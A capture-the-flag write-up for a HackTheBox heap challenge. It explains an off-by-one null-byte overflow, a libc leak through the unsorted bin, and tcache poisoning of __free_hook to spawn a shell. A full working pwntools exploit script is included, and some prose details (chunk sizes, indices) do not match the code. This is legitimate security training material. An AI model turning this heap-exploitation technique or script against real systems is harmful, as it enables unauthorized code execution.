Bon-nie-appetit
Bon-nie-appetit
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
After the successful hijacking of the D12 spaceship during the Space Pirate mission, the crew managed to place a signal transmitter on a vending machine that the Golden Fang's members are using to order food from the Supplier Spacecraft of Draeger. Golden Fang's crew's favorite food contains a secret ingredient called "Little Green People0," which we do not have further info about. The signal passes through many satellites before it reaches the Supplier, so it won't be easy to track the device and the leaked signal. Can you take advantage of it and get control of the Supplier?
Solution Approach
Core idea: Leaking main_arena address. Exploiting OOB Bug (overlap chunks and forge a fake size field).
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.
BINARY PROTECTIONS
- Decompiling the binary and reviewing the main() function, we can identified that the program has 5 menus.
MENUS:
1. Create chunks.
2. Show chunks.
3. Edit chunks.
4. Delete chunks.
5. Terminate program.
-
Reviewing the new_order() function, looks no bug resides here. It validates the maximum orders we can allocate is only 20 orders.
-
It accepts 2 datas, those are size and contents.
-
Reviewing the show_order() function, seems there is no bug again. It accepts index and shows the chunk's content at that index.
-
Reviewing the edit_order() function, we found a bug. Noticed it uses strlen() as the length of our input.
-
Remembering in C there is a NULL BYTE data, hence it's introduces a heap overflow using
OFF-ONE-BYTEvulnerability.
NOTES:
To trigger the overflow, we just need to fill the content to the fullest of it's size. For example if we edit the size to 0x60,
then we fill the content's up to 0x60, so there is an overflow because of the null-byte after it.
Remembering heap chunks are stored adjacent, if overflow occurs then current chunks will take the next chunk's
size into account. (we can creating a fake size field).
-
Next, reviewing the delete_order() function, seems no use after free bug. The freed chunks are set to NULL.
-
Seems our interest should be at edit_order().
-
Let us leak a libc first by allocate size outside of fastbin range. When the chunk freed, it shall resides at the unsorted bin.
-
To make sure our chunk falls at unsortedbin, let us allocate size in range of largebins.
LEAK MAIN ARENA ADDRESS IN UNSORTED BIN
- To be able for main_arena address disclosed at the unsorted bins we need to allocate sizes outside the fastbin ranges.
- The simplest method to make sure the chunks are stored in unsorted bins after freed, simply allocate sizes of largebins.
- BUT remember to allocate another chunk after it to prevent consolidation with the top chunk.
allocate 0x428 (so the size field is 0x430)
allocate 24 (just to prevent consolidation with the top chunk)
free index 0 (at this phase, libc is shown at the unsorted bins)
free index 1
allocate 0x428
show contents at index 0
- Now let us unpack and calculate the libc base using vmmap.
SCRIPT
from pwn import *
import os
os.system('clear')
exe = './bon-nie-appetit'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
context.log_level = 'INFO'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def make(size, data):
sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b':', str(size))
sh.sendlineafter(b':', data)
def show(index):
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b':', str(index))
def edit(index, data):
sh.sendlineafter(b'>', b'3')
sh.sendlineafter(b':', str(index))
sh.sendlineafter(b':', data)
def delete(index):
sh.sendlineafter(b'>', b'4')
sh.sendlineafter(b':', str(index))
def finalize():
sh.sendlineafter(b'>', b'5')
sh = start()
### leak libc
make(0x428, b'A') # size field 0x430
make(24, b'B')
delete(0) # delete chunk idx 0
delete(1) # delete chunk idx 1
make(0x428, b'')
show(0)
sh.recvuntil(b"=> ")
get = unpack(sh.recv(6) + b'\x00' * 2)
log.info(f'libc leak --> {hex(get)}')
libc.address = get - 4111370
success(f'LIBC BASE --> {hex(libc.address)}')
gdb.attach(sh)
sh.interactive()
- Nice! Now let us move our interest to the Off-One-Byte (OOB) bug we found earlier.
- To make it works, let us delete the chunk at index 0 first, then starts allocating 3 chunks adjacently.
- To make sure the size fits well for /bin/sh strings and libc.sym.system, let us allocate for 0x38 --> 0x40 as it's size field.
EXPLOITING OOB BUG
- So the flow is quite simple here, we need to allocate 3 chunks adjacently.
- Then using the OOB bug to overflow from chunk 0 to it's next chunk (chunk 1), so chunk 1 size_field shallc change to whatever we want, for example we're gonna set the size field to 0x81.
delete chunk 0 (we want to remove the previously allocated size which we use to leak the libc address).
allocate 0x38 chunk with contents fills it up. (should be stored at index 0)
allocate 0x38 chunk with contents fills it up. (should be stored at index 1)
allocate 0x38 chunk with contents fills it up. (should be stored at index 2)
edit chunk for index 0 (triggering the OOB bug) --> gonna make a fake size field for chunk 2.
SCRIPT
delete(0) # remove data at chunk 0 make(0x28, b'X' * 0x28) # allocate new data at chunk 0 make(0x28, b'Y' * 0x28) # allocate new data at chunk 1 make(0x28, b'Z' * 0x28) # allocate new data at chunk 2 edit(0, b'M' * 0x28 + p8(0x81)) # overflow chunk 0 until and overlap the size field of chunk 2 to 0x81
- Noticed the size field of chunk 1 (is number 2 logically) changed to our preferences.
OVERLAP FD POINTER TO __FREE_HOOK() and Overwrite it to system()
- In this condition, the bigger chunk (0x81) can be used to overlap the
FD Pointerof the chunk at index 2 to__free_hook(). - At the process of that overlap, we can specify another fake size field to 0x21 (we overlap size field of chunk index 2), this size_field FD is __free_hook().
- Then we can start allocate /bin/sh strings with size of 0x28 and allocate system() with size of 0x28.
- Finally just free chunk index 0, to trigger system"/bin/sh").
delete chunk index 1
delete chunk index 2
allocate 0x78, send pad * 0x28 + pack(0x21) --> for fake size field again for chunk index 2 + __free_hook() --> for it's FD
SCRIPT
delete(1) # remove data at chunk 1 delete(2) # remove data at chunk 2 ### overlap size field of chunk 2 to 0x21 and change it's FD to __free_hook() make(0x78, b'D' * 0x28 + pack(0x21) + pack(libc.sym['__free_hook']))
-
Nice! Based on the bins result, we can allocate another chunk with sizeof 0x28 and store /bin/sh strings there.
-
Lastly we just need to allocate libc.sym.system and free chunk 2 to drop a shell.
FULL SCRIPT
from pwn import *
import os
os.system('clear')
exe = './bon-nie-appetit'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
context.log_level = 'INFO'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def make(size, data):
sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b':', str(size))
sh.sendlineafter(b':', data)
def show(index):
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b':', str(index))
def edit(index, data):
sh.sendlineafter(b'>', b'3')
sh.sendlineafter(b':', str(index))
sh.sendlineafter(b':', data)
def delete(index):
sh.sendlineafter(b'>', b'4')
sh.sendlineafter(b':', str(index))
def finalize():
sh.sendlineafter(b'>', b'5')
sh = start()
### leak libc
make(0x428, b'A') # size field 0x430
make(24, b'B')
delete(0) # delete chunk idx 0
delete(1) # delete chunk idx 1
make(0x428, b'')
show(0)
sh.recvuntil(b"=> ")
get = unpack(sh.recv(6) + b'\x00' * 2)
log.info(f'libc leak --> {hex(get)}')
libc.address = get - 4111370
success(f'LIBC BASE --> {hex(libc.address)}')
delete(0) # remove data at chunk 0
make(0x28, b'X' * 0x28) # allocate new data at chunk 0
make(0x28, b'Y' * 0x28) # allocate new data at chunk 1
make(0x28, b'Z' * 0x28) # allocate new data at chunk 2
edit(0, b'M' * 0x28 + p8(0x81)) # overflow chunk 0 until and overlap the size field of chunk 2 to 0x81
delete(1) # remove data at chunk 1
delete(2) # remove data at chunk 2
### overlap size field of chunk 2 to 0x21 and change it's FD to __free_hook()
make(0x78, b'D' * 0x28 + pack(0x21) + pack(libc.sym['__free_hook']))
make(0x28, b'/bin/sh\x00') # store /bin/sh strings as FD of chunk 2
make(0x28, pack(libc.sym['system'])) # change _free_hook to system()
delete(2) # trigger overwritten __free_hook() --> system("/bin/sh").
gdb.attach(sh)
sh.interactive()
Flag
REDACTED
Lessons Learned
- Leaking main_arena address.
- Exploiting OOB Bug (overlap chunks and forge a fake size field).
- Tcache Poisoning.